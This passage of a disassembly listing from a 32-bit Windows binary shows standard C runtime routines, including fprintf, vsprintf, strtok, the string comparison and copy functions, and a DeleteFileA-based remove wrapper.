		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41F3CF
		cmp	[ebp+var_C], 80000000h
		ja	short loc_41F3E2

loc_41F3CF:				; CODE XREF: sub_41F110+2B4j
		mov	ecx, [ebp+arg_C]
		and	ecx, 2
		test	ecx, ecx
		jnz	short loc_41F41A
		cmp	[ebp+var_C], 7FFFFFFFh
		jbe	short loc_41F41A

loc_41F3E2:				; CODE XREF: sub_41F110+2A0j
					; sub_41F110+2BDj
		call	sub_429A90
		mov	dword ptr [eax], 22h
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jz	short loc_41F400
		mov	[ebp+var_C], 0FFFFFFFFh
		jmp	short loc_41F41A
; ---------------------------------------------------------------------------

loc_41F400:				; CODE XREF: sub_41F110+2E5j
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41F413
		mov	[ebp+var_C], 80000000h
		jmp	short loc_41F41A
; ---------------------------------------------------------------------------

loc_41F413:				; CODE XREF: sub_41F110+2F8j
		mov	[ebp+var_C], 7FFFFFFFh

loc_41F41A:				; CODE XREF: sub_41F110+296j
					; sub_41F110+2AAj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_41F428
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx

loc_41F428:				; CODE XREF: sub_41F110+30Ej
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41F43A
		mov	ecx, [ebp+var_C]
		neg	ecx
		mov	[ebp+var_C], ecx

loc_41F43A:				; CODE XREF: sub_41F110+320j
		mov	eax, [ebp+var_C]

loc_41F43D:				; CODE XREF: sub_41F110+D9j
		mov	esp, ebp
		pop	ebp
		retn
sub_41F110	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F450	proc near		; CODE XREF: sub_401C87+627Fp
					; sub_401C87+6AA8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41F110
		add	esp, 10h
		pop	ebp
		retn
sub_41F450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F470	proc near		; CODE XREF: sub_401C87+5A23p
					; .packed:0041F4C7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F5354	; DeleteFileA
		test	eax, eax
		jnz	short loc_41F48D
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_41F494
; ---------------------------------------------------------------------------

loc_41F48D:				; CODE XREF: sub_41F470+10j
		mov	[ebp+var_4], 0

loc_41F494:				; CODE XREF: sub_41F470+1Bj
		cmp	[ebp+var_4], 0
		jz	short loc_41F4AB
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4299F0
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F4AD
; ---------------------------------------------------------------------------

loc_41F4AB:				; CODE XREF: sub_41F470+28j
		xor	eax, eax

loc_41F4AD:				; CODE XREF: sub_41F470+39j
		mov	esp, ebp
		pop	ebp
		retn
sub_41F470	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	sub_41F470
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4E0	proc near		; CODE XREF: sub_401C87+598Fp
					; sub_4124E6+8Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax

loc_41F4EF:				; CODE XREF: sub_41F4E0+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F513
		push	offset dword_43C514
		push	0
		push	38h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F513
		int	3		; Trap to Debugger

loc_41F513:				; CODE XREF: sub_41F4E0+13j
					; sub_41F4E0+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41F4EF

loc_41F519:				; CODE XREF: sub_41F4E0+61j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41F53D
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	39h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F53D
		int	3		; Trap to Debugger

loc_41F53D:				; CODE XREF: sub_41F4E0+3Dj
					; sub_41F4E0+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41F519
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_422420
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_429C90
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_427F60
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_429DF0
		add	esp, 8
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_422490
		add	esp, 4
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F4E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5B0	proc near		; CODE XREF: sub_401C87+1E2Ep
					; sub_401C87+1E4Dp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41F5D1
		xor	eax, eax
		jmp	short loc_41F5D3
; ---------------------------------------------------------------------------

loc_41F5D1:				; CODE XREF: sub_41F5B0+1Bj
		mov	eax, edi

loc_41F5D3:				; CODE XREF: sub_41F5B0+1Fj
		cld
		pop	edi
		leave
		retn
sub_41F5B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5E0	proc near		; CODE XREF: sub_401C87+825p
					; sub_426C90+BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41F611
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41F60F
		jz	short loc_41F611
		dec	ecx
		dec	ecx

loc_41F60F:				; CODE XREF: sub_41F5E0+29j
		not	ecx

loc_41F611:				; CODE XREF: sub_41F5E0+9j
					; sub_41F5E0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41F5E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41F620	proc near		; CODE XREF: sub_401C87+418p
					; sub_401C87+3012p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41F691
sub_41F620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41F630	proc near		; CODE XREF: sub_401C87+421p
					; sub_401C87+767Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41F64C

loc_41F63D:				; CODE XREF: sub_41F630+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41F67F
		test	ecx, 3
		jnz	short loc_41F63D

loc_41F64C:				; CODE XREF: sub_41F630+Bj
					; sub_41F630+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41F64C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41F68E
		test	ah, ah
		jz	short loc_41F689
		test	eax, 0FF0000h
		jz	short loc_41F684
		test	eax, 0FF000000h
		jz	short loc_41F67F
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------

loc_41F67F:				; CODE XREF: sub_41F630+12j
					; sub_41F630+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41F691
; ---------------------------------------------------------------------------

loc_41F684:				; CODE XREF: sub_41F630+44j
		lea	edi, [ecx-2]
		jmp	short loc_41F691
; ---------------------------------------------------------------------------

loc_41F689:				; CODE XREF: sub_41F630+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41F691
; ---------------------------------------------------------------------------

loc_41F68E:				; CODE XREF: sub_41F630+39j
		lea	edi, [ecx-4]

loc_41F691:				; CODE XREF: sub_41F620+5j
					; sub_41F630+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41F6B6

loc_41F69D:				; CODE XREF: sub_41F630+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41F708
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41F69D
		jmp	short loc_41F6B6
; ---------------------------------------------------------------------------

loc_41F6B1:				; CODE XREF: sub_41F630+9Ej
					; sub_41F630+B8j
		mov	[edi], edx
		add	edi, 4

loc_41F6B6:				; CODE XREF: sub_41F630+6Bj
					; sub_41F630+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41F6B1
		test	dl, dl
		jz	short loc_41F708
		test	dh, dh
		jz	short loc_41F6FF
		test	edx, 0FF0000h
		jz	short loc_41F6F2
		test	edx, 0FF000000h
		jz	short loc_41F6EA
		jmp	short loc_41F6B1
; ---------------------------------------------------------------------------

loc_41F6EA:				; CODE XREF: sub_41F630+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41F6F2:				; CODE XREF: sub_41F630+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41F6FF:				; CODE XREF: sub_41F630+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41F708:				; CODE XREF: sub_41F630+72j
					; sub_41F630+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41F630	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F720

loc_41F710:				; CODE XREF: sub_41F720+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41F720
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41F720	proc near		; CODE XREF: sub_401C87+3FDp
					; sub_401C87+49Ep ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041F710 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41F726:				; CODE XREF: sub_41EBB0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41F74B

loc_41F738:				; CODE XREF: sub_41F720+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41F710
		test	cl, cl
		jz	short loc_41F794
		test	edx, 3
		jnz	short loc_41F738

loc_41F74B:				; CODE XREF: sub_41F720+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41F756:				; CODE XREF: sub_41F720+61j
					; sub_41F720+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41F798
		and	eax, 81010100h
		jz	short loc_41F756
		and	eax, 1010100h
		jnz	short loc_41F792
		and	esi, 80000000h
		jnz	short loc_41F756

loc_41F792:				; CODE XREF: sub_41F720+68j
					; sub_41F720+81j ...
		pop	esi
		pop	edi

loc_41F794:				; CODE XREF: sub_41F720+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41F798:				; CODE XREF: sub_41F720+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41F7D5
		test	al, al
		jz	short loc_41F792
		cmp	ah, bl
		jz	short loc_41F7CE
		test	ah, ah
		jz	short loc_41F792
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41F7C7
		test	al, al
		jz	short loc_41F792
		cmp	ah, bl
		jz	short loc_41F7C0
		test	ah, ah
		jz	short loc_41F792
		jmp	short loc_41F756
; ---------------------------------------------------------------------------

loc_41F7C0:				; CODE XREF: sub_41F720+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41F7C7:				; CODE XREF: sub_41F720+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41F7CE:				; CODE XREF: sub_41F720+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41F7D5:				; CODE XREF: sub_41F720+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41F720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41F7E0	proc near		; CODE XREF: sub_401C87+1A2p
					; sub_401C87+1F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41F82C

loc_41F7F0:				; CODE XREF: sub_41F7E0+3Cj
					; sub_41F7E0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41F824
		or	al, al
		jz	short loc_41F820
		cmp	ah, [ecx+1]
		jnz	short loc_41F824
		or	ah, ah
		jz	short loc_41F820
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41F824
		or	al, al
		jz	short loc_41F820
		cmp	ah, [ecx+3]
		jnz	short loc_41F824
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41F7F0
		mov	edi, edi

loc_41F820:				; CODE XREF: sub_41F7E0+18j
					; sub_41F7E0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41F824:				; CODE XREF: sub_41F7E0+14j
					; sub_41F7E0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41F82C:				; CODE XREF: sub_41F7E0+Ej
		test	edx, 1
		jz	short loc_41F848
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41F824
		inc	ecx
		or	al, al
		jz	short loc_41F820
		test	edx, 2
		jz	short loc_41F7F0

loc_41F848:				; CODE XREF: sub_41F7E0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41F824
		or	al, al
		jz	short loc_41F820
		cmp	ah, [ecx+1]
		jnz	short loc_41F824
		or	ah, ah
		jz	short loc_41F820
		add	ecx, 2
		jmp	short loc_41F7F0
sub_41F7E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F870	proc near		; CODE XREF: sub_401C87+B4p
					; sub_401C87+CDp ...

var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_30], eax
		call	sub_428EE0
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], 0
		jmp	short loc_41F896
; ---------------------------------------------------------------------------

loc_41F88D:				; CODE XREF: sub_41F870+34j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx

loc_41F896:				; CODE XREF: sub_41F870+1Bj
		cmp	[ebp+var_C], 20h
		jge	short loc_41F8A6
		mov	edx, [ebp+var_C]
		mov	[ebp+edx+var_2C], 0
		jmp	short loc_41F88D
; ---------------------------------------------------------------------------

loc_41F8A6:				; CODE XREF: sub_41F870+2Aj
					; sub_41F870+79j
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		sar	edx, 3
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_2C]
		or	cl, al
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	al, [edx]
		sar	eax, 3
		mov	[ebp+eax+var_2C], cl
		mov	ecx, [ebp+var_30]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_30]
		add	eax, 1
		mov	[ebp+var_30], eax
		test	edx, edx
		jnz	short loc_41F8A6
		cmp	[ebp+arg_0], 0
		jz	short loc_41F8F9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		jmp	short loc_41F902
; ---------------------------------------------------------------------------

loc_41F8F9:				; CODE XREF: sub_41F870+7Fj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+18h]
		mov	[ebp+var_4], eax

loc_41F902:				; CODE XREF: sub_41F870+87j
					; sub_41F870+CFj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_41F941
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_41F941
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_41F902
; ---------------------------------------------------------------------------

loc_41F941:				; CODE XREF: sub_41F870+B9j
					; sub_41F870+C4j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	short loc_41F952
; ---------------------------------------------------------------------------

loc_41F949:				; CODE XREF: sub_41F870:loc_41F997j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_41F952:				; CODE XREF: sub_41F870+D7j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_41F999
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_41F997
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_41F999
; ---------------------------------------------------------------------------

loc_41F997:				; CODE XREF: sub_41F870+114j
		jmp	short loc_41F949
; ---------------------------------------------------------------------------

loc_41F999:				; CODE XREF: sub_41F870+EBj
					; sub_41F870+125j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_4]
		jnz	short loc_41F9AE
		xor	eax, eax
		jmp	short loc_41F9B1
; ---------------------------------------------------------------------------

loc_41F9AE:				; CODE XREF: sub_41F870+138j
		mov	eax, [ebp+arg_0]

loc_41F9B1:				; CODE XREF: sub_41F870+13Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_41F870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9C0	proc near		; CODE XREF: sub_409C2F+1Cp
					; sub_415AB0+19p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax

loc_41F9CF:				; CODE XREF: sub_41F9C0+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F9F3
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Ah
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F9F3
		int	3		; Trap to Debugger

loc_41F9F3:				; CODE XREF: sub_41F9C0+13j
					; sub_41F9C0+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41F9CF

loc_41F9F9:				; CODE XREF: sub_41F9C0+61j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41FA1D
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Bh
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FA1D
		int	3		; Trap to Debugger

loc_41FA1D:				; CODE XREF: sub_41F9C0+3Dj
					; sub_41F9C0+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41F9F9
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+0Ch], 42h
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_427F60
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41FA98
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_41FAA9
; ---------------------------------------------------------------------------

loc_41FA98:				; CODE XREF: sub_41F9C0+B4j
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_427CE0
		add	esp, 8
		mov	[ebp+var_2C], eax

loc_41FAA9:				; CODE XREF: sub_41F9C0+D6j
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F9C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41FAC0	proc near		; CODE XREF: sub_40B2E7+8Dp
					; sub_40BBCD+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41FB74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41FAEA

loc_41FADB:				; CODE XREF: sub_41FAC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41FB1B
		test	edi, 3
		jnz	short loc_41FADB

loc_41FAEA:				; CODE XREF: sub_41FAC0+19j
					; sub_41FAC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41FAEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41FB28
		test	ah, ah
		jz	short loc_41FB23
		test	eax, 0FF0000h
		jz	short loc_41FB1E
		test	eax, 0FF000000h
		jnz	short loc_41FAEA

loc_41FB1B:				; CODE XREF: sub_41FAC0+20j
		dec	edi
		jmp	short loc_41FB2B
; ---------------------------------------------------------------------------

loc_41FB1E:				; CODE XREF: sub_41FAC0+52j
		sub	edi, 2
		jmp	short loc_41FB2B
; ---------------------------------------------------------------------------

loc_41FB23:				; CODE XREF: sub_41FAC0+4Bj
		sub	edi, 3
		jmp	short loc_41FB2B
; ---------------------------------------------------------------------------

loc_41FB28:				; CODE XREF: sub_41FAC0+47j
		sub	edi, 4

loc_41FB2B:				; CODE XREF: sub_41FAC0+5Cj
					; sub_41FAC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41FB40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41FB8C
		jmp	short loc_41FB5C
; ---------------------------------------------------------------------------

loc_41FB40:				; CODE XREF: sub_41FAC0+75j
					; sub_41FAC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41FB7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41FB70
		test	esi, 3
		jnz	short loc_41FB40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41FB8C

loc_41FB5C:				; CODE XREF: sub_41FAC0+7Ej
					; sub_41FAC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41FB70

loc_41FB63:				; CODE XREF: sub_41FAC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41FB72
		dec	ecx
		jnz	short loc_41FB63

loc_41FB70:				; CODE XREF: sub_41FAC0+8Bj
					; sub_41FAC0+A1j
		mov	[edi], cl

loc_41FB72:				; CODE XREF: sub_41FAC0+ABj
		pop	ebx
		pop	esi

loc_41FB74:				; CODE XREF: sub_41FAC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41FB7A:				; CODE XREF: sub_41FAC0+85j
					; sub_41FAC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41FB84:				; CODE XREF: sub_41FAC0+E4j
					; sub_41FAC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41FB5C

loc_41FB8C:				; CODE XREF: sub_41FAC0+7Cj
					; sub_41FAC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41FB84
		test	dl, dl
		jz	short loc_41FB7A
		test	dh, dh
		jz	short loc_41FBD8
		test	edx, 0FF0000h
		jz	short loc_41FBC8
		test	edx, 0FF000000h
		jnz	short loc_41FB84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41FBC8:				; CODE XREF: sub_41FAC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41FBD8:				; CODE XREF: sub_41FAC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41FAC0	endp

; ---------------------------------------------------------------------------
		align 10h

